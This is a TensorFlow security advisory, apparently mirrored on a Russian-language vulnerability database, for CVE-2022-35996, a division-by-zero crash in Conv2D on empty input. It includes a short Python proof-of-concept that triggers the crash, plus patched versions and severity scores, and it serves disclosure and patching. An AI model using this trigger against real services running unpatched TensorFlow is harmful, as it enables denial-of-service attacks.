exploitDog

GHSA-q5jv-m6qw-5g37

Опубликовано: 16 сент. 2022

Источник: github

Github: Прошло ревью

CVSS3: 5.9

Описание

TensorFlow vulnerable to floating point exception in Conv2D

Impact

If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.

import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, )

Patches

We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.

Ссылки

Пакеты

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID

Дефекты

CWE-369

Связанные уязвимости

CVE-2022-35996

CVSS3: 5.9

nvd

больше 3 лет назад

TensorFlow is an open source platform for machine learning. If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.

CVE-2022-35996

CVSS3: 5.9

debian

больше 3 лет назад

TensorFlow is an open source platform for machine learning. If `Conv2D ...

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID

Дефекты

CWE-369